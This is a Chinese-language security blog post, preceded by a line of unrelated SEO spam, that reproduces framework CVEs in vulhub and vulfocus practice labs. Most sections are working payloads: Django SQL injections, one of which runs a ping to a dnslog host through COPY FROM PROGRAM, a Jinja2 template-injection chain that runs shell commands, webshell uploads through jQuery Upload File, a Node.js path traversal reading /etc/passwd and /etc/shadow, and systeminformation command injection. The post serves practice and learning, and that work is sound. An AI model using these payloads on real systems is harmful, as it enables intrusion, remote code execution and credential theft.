门头沟做网站公司,wordpress舰娘,沧州外贸网站建设,开网店怎么开 新手需要多少资金目录 服务攻防-框架安全CVE复现DjangoFlaskNode.JSJQuery漏洞复现中间件列表介绍常见语言开发框架Python开发框架安全-DjangoFlask漏洞复现Django开发框架漏洞复现CVE-2019-14234#xff08;Django JSONField/HStoreField SQL注入漏洞#xff… 目录 服务攻防-框架安全CVE复现DjangoFlaskNode.JSJQuery漏洞复现中间件列表介绍常见语言开发框架Python开发框架安全-DjangoFlask漏洞复现Django开发框架漏洞复现CVE-2019-14234Django JSONField/HStoreField SQL注入漏洞CVE-2021-35042Django QuerySet.order_by SQL注入漏洞 Flask Jinja2 SSTI漏洞复现FlaskJinja2 服务端模板注入漏洞 JavaScript开发框架安全-JqueryNode漏洞复现jQuery框架漏洞复现CVE_2018_9207-jQuery Upload File漏洞复现 Node.js漏洞复现Node.js 目录穿越漏洞CVE-2017-14849Node.js 命令执行 CVE-2021-21315 服务攻防-框架安全CVE复现DjangoFlaskNode.JSJQuery漏洞复现
中间件列表介绍 中间件及框架列表 IISApacheNginxTomcatDockerK8sWeblogicJBoosWebSphereJenkins GlassFishJettyJiraStruts2LaravelSolrShiroThinkphpSpringFlaskjQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Node.js-JQuery 5、其他框架-Java-Apache ShiroApache Sorl 常见语言开发框架 PHPThinkphp Laravel YII CodeIgniter CakePHP Zend 等 JAVASpring MyBatis Hibernate Struts2 Springboot 等 PythonDjango Flask Bottle Turbobars Tornado Web2py 等 JavascriptVue.js Node.js Bootstrap JQuery Angular 等 常见中间件的安全测试 1、配置不当-解析弱口令 2、安全机制-特定安全漏洞 3、安全机制-弱口令爆破攻击 4、安全应用-框架特定安全漏洞 中间件安全测试流程 1、判断中间件信息-名称版本三方 2、判断中间件问题-配置不当公开漏洞 3、判断中间件利用-弱口令EXP框架漏洞 应用服务安全测试流程 1、判断服务开放情况-端口扫描组合应用等 2、判断服务类型归属-数据库文件传输通讯等 3、判断服务利用方式-特定漏洞未授权弱口令等 开发框架组件安全测试流程 1、判断常见语言开发框架类型 2、判断开发框架存在的 CVE 问题 Python开发框架安全-DjangoFlask漏洞复现
Django开发框架
介绍django(Python Web 框架)详解 Django是一个高级的Python Web框架可以快速开发安全和可维护的网站。由经验丰富的开发者构建Django负责处理网站开发中麻烦的部分可以专注于编写应用程序而无需重新开发。它是免费和开源的有活跃繁荣的社区丰富的文档以及很多免费和付费的解决方案。 Django 是一款广为流行的开源 web 框架由 Python 编写许多网站和 app 都基于 Django 开发。Django 采用了 MTV 的框架模式即模型 M视图 V 和模版 T使用 Django程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且 Django 还包含许多功能强大的第三方插件使得 Django 具有较强的可扩展性。 安全问题 CVE_2019_14234 CVE-2021-35042 … 漏洞复现
CVE-2019-14234Django JSONField/HStoreField SQL注入漏洞 该漏洞要求开发者使用 JSONField/HStoreField;此外还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响这为我们提供了一种重现漏洞的简单方法。 靶场vulhub
参考Django JSONField/HStoreField SQL注入漏洞复现 开启环境 访问web界面 首先使用用户名和密码登录 Django-Admin。
http://your-ip:8000/admin/
账号admin 密码a123123123
成功登录 然后转到模型的列表视图
http://your-ip:8000/admin/vuln/collection/
Collection 添加到 GET 参数中其中是 JSONField
detail__ab123 detail
payload:
http://your-ip:8000/admin/vuln/collection/?detail__a%27b123
可以看到单引号注入成功SQL语句报错 创建 cmd_exec
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20执行效果
成功创建 调用 cmd_exec 执行命令
DNSlog获取地址
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20DNSlog回显效果 CVE-2021-35042Django QuerySet.order_by SQL注入漏洞
该漏洞需要开发人员使用order_by功能。此外还可以控制查询集的输入。
靶场vulhub
参考Django QuerySet.order_by SQL注入漏洞复现 开启环境 访问web界面 首先转到列表视图并添加到 GET 参数。
payload:
http://your-ip:8000/vuln/order-id
执行过后会看到按 id 降序排序的数据 payload:
目录
/vuln/?ordervuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20basedir)),1)%23版本
/vuln/?ordervuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23数据库名
/vuln/?ordervuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23可以看到单括号已经注入成功可以从错误中获取信息。
查看目录: 爆版本号 爆数据库名 Flask Jinja2 SSTI
介绍Flask详解 Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug 模板引擎则使用 Jinja2。Flask使用 BSD 授权。 Flask也被称为 “microframework” 因为它使用简单的核心用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。 安全问题 FlaskJinja2 服务端模板注入漏洞 … 漏洞复现
FlaskJinja2 服务端模板注入漏洞
靶场vulhub
参考FlaskJinja2 服务端模板注入漏洞复现 开启环境 访问web界面 接下来进行访问http://your-ip/?name{{123*123}}得到15129这个结果则说明SSTI漏洞存在。 获取eval函数并执行任意python代码的POC
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ catch_warnings %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ {}.__class__ %}{% if eval in b.keys() %}{{ b[eval](__import__(os).popen(id).read()) }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}ps:需要进行url编码编码过后直接通过GET请求发送即可。 执行命令处自定义像要执行的命令查看的信息每次更换命令都需要进行URL编码重新发送。 其他命令lswhoami
执行效果 JavaScript开发框架安全-JqueryNode漏洞复现
jQuery框架
介绍jQuery详解 jQuery是一个快速、简洁的JavaScript框架是继Prototype之后又一个优秀的JavaScript代码库框架于2006年1月由John Resig发布。jQuery设计的宗旨是“write LessDo More”即倡导写更少的代码做更多的事情。它封装JavaScript常用的功能代码提供一种简便的JavaScript设计模式优化HTML文档操作、事件处理、动画设计和Ajax交互。 安全问题 CVE_2018_9207 CVE_2018_9208 CVE_2018_9209 … 漏洞复现
CVE_2018_9207-jQuery Upload File漏洞复现 jQuery是一个快速、简洁的JavaScript框架是继Prototype之后又一个优秀的JavaScript代码库框架于2006年1月由John Resig发布。 jQuery Upload File 4.0.2 中的任意文件上传 根目录下/jquery-upload-file 靶场vulfocus
开启靶场 访问web界面 访问框架引用目录结构
/jquery-upload-file/ 利用
一条命令即可解决访问并上传文件。
payload:
//访问网站进行上传前提是在文件夹下创建后门文件。
curl -F myfileshell.php http://192.168.100.134:37180/jquery-upload-file/php/upload.phpcurl -F myfilecmd.php http://192.168.100.134:37180/jquery-upload-file/php/upload.php上传shell.php 上传cmd.php: 查看
上传文件所在位置(后门为php)
/jquery-upload-file/php/uploads/ 验证可否解析执行 使用蚁剑连接
连接成功 其他列出的安全问题基本都差不多。
Node.js
详解node.js详解 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境用于方便的搭建响应 速度快、易于拓展的网络应用。 Node.js对一些特殊用例进行优化提供替代的API使得V8在非浏览器环境下运行得更好V8引擎执行Javascript的速度非常快性能非常好基于Chrome JavaScript运行时建立的平台 用于方便地搭建响应速度快、易于扩展的网络应用 安全问题 CVE_2021_21315 CVE_2017_14849 … 漏洞复现
Node.js 目录穿越漏洞CVE-2017-14849
Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。 漏洞原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误导致向上层跳跃的时候如../../../../../../etc/passwd在中间位置增加foo/../如../../../foo/../../../../etc/passwd即可使normalize返回/etc/passwd但实际上正确结果应该是../../../../../../etc/passwd。 express这类web框架通常会提供了静态文件服务器的功能这些功能依赖于normalize函数。比如express在判断path是否超出静态目录范围时就用到了normalize函数上述BUG导致normalize函数返回错误结果导致绕过了检查造成任意文件读取漏洞。 靶场vulfocus
参考CVE-2017-14849复现
开启环境 访问web界面 其中引用到了文件/static/main.js说明其存在静态文件服务器。 构造请求
通过GET请求发送以下数据包即可
GET
...
/static/../../../a/../../../../etc/passwd
...完整数据包
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9,en;q0.8
Connection: close发送给重发器然后再发送数据包过后
如果打开web界面抓包时构造请求后发包无法正常回显状态码报错。可尝试删除cookie等相关信息不然可能会无法正常回显错误状态码。如果正常回显就可以不用删除。 效果成功读取/etc/passwd文件 效果成功读取/etc/shadow文件 Node.js 命令执行 CVE-2021-21315 Node.js-systeminformation是用于获取各种系统信息的Node.JS模块它包含多种轻量级功能可以检索详细的硬件和系统相关信息 npm团队发布安全公告Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。 靶场vulfocus
开启环境 访问web界面 构造GET请求
payload
/api/getServices?name[]$(echo%20%27rumilc666%27%20%20rumi.txt)执行过后 验证
成功生成该文件
docker ps
docker exec -it id /bin/bash